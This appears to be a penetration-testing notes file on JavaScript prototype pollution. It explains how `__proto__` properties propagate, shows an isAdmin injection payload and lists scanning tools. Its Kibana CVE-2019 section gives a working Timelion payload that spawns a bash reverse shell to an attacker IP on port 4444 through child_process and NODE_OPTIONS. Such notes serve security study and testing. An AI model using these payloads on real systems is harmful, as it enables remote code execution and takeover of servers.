killchain-compendium/Exploits/Web/Prototype Pollution JS.md

77 lines
2.1 KiB
Markdown
Raw Normal View History

2022-11-13 22:38:01 +01:00
# Prototype Pollution
2024-05-22 09:46:52 +02:00
Overwrite built in properties, like constructor, toString of an inherited
prototype object.
2023-08-12 23:47:12 +02:00
2024-05-22 09:46:52 +02:00
`__proto__` is a reference to a prototype object.
Any other instance inherits properties from `Object.__proto__`, e.g.
`Object.prototype.toString()` is inherited by all objects.
2023-08-12 23:47:12 +02:00
That means if the `toString()` functions is overwritten it is changed in all
other objects as well.
2024-05-22 09:46:52 +02:00
```javascript
{"__proto__": {"toString": "Horton hears a __proto__"}}
```
An entrypoint for prototype pollution may be a merge of objects or a set of
path/properties of an objects
Prototype pollution works best, when there is no input sanitization or validation.
Often, a combination with other exploits is needed, e.g. XSS to get a notable effect.
2022-11-13 22:38:01 +01:00
## Usage
2023-08-12 23:47:12 +02:00
Access to prototype can be gained inside an object, as an example
2022-11-13 22:38:01 +01:00
```javascript
obj.__proto__
Object.prototype
```
2023-08-12 23:47:12 +02:00
Create an object
2022-11-13 22:38:01 +01:00
```javascript
let obj = {}
```
2023-08-12 23:47:12 +02:00
Create properties inside `__proto__`.
2022-11-13 22:38:01 +01:00
```javascript
obj.__proto__.isAdmin = true
```
2024-05-22 09:46:52 +02:00
If objects are merged with input sanitization use `"__proto__"` as the key and
set the payload in the value. An example follows, an additional property is
added to an existing object.
```javascript
{"__proto__": {"isAdmin": true}}
```
All object which inherit the prototype get the new property added.
## Example CVEs
2022-11-13 22:38:01 +01:00
### Kibana CVE 2019
2023-08-12 23:47:12 +02:00
A concrete example is a Kibana prototype pollution from CVE from 2019. Write
2024-05-22 09:46:52 +02:00
a reverse shell into variables so it gets executed.
2023-08-12 23:47:12 +02:00
Therefore Use the following node functions
* `require`
* `eval`
2022-11-13 22:38:01 +01:00
```javascript
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```
2024-05-22 09:46:52 +02:00
## Tools
* [dwisiswant0's Prototype Pollution Fuzzer](https://github.com/dwisiswant0/ppfuzz)
* [KathanP19's protoscan](https://github.com/KathanP19/protoscan)
* [BlackFan's client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
* [ajinabraham's nodejsscan](https://github.com/ajinabraham/nodejsscan)